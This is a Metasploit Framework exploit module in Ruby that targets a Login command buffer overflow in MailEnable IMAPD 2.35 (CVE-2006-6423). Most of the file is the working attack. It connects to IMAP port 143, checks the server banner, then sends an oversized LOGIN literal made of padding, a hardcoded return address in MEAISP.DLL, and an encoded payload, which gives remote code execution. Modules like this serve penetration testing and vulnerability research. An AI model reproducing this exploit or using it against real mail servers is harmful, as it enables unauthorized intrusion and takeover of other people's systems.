##
# $Id: mailenable_login.rb 4498 2007-03-01 08:21:36Z mmiller $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Imap::MailEnableImapLoginOverflow < Msf::Exploit::Remote

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'MailEnable IMAPD (2.35) Login Request Buffer Overflow',
			'Description'    => %q{
				MailEnable's IMAP server contains a buffer overflow
				vulnerability in the Login command. 
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 4498 $',
			'References'     =>
				[
					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-December/051229.html'],
					[ 'CVE', '2006-6423'],
					[ 'BID', '21492'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},			
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'MailEnable 2.35 Pro',  { 'Ret' =>  0x10049abb } ], #MEAISP.DLL
				],
			'DisclosureDate' => 'Dec 11 2006',
			'DefaultTarget' => 0))

			register_options( [ Opt::RPORT(143) ], self.class )
	end

	def exploit
		connect

		auth	=   "a001 LOGIN " + rand_text_alpha_upper(4) + " {10}\r\n"  
		sploit	=   rand_text_alpha_upper(556) + [target.ret].pack('V') 
		sploit	<<  payload.encoded + "\r\n\r\n"

		res = sock.recv(50)
			if ( res =~ / OK IMAP4rev1/) 
				print_status("Trying target #{target.name}...")
				sock.put(auth)
				sock.get_once(-1, 3)	
				sock.put(sploit)
			else
				print_status("Not running IMAP4rev1...")
			end
		
		handler
		disconnect
	end

end
end	
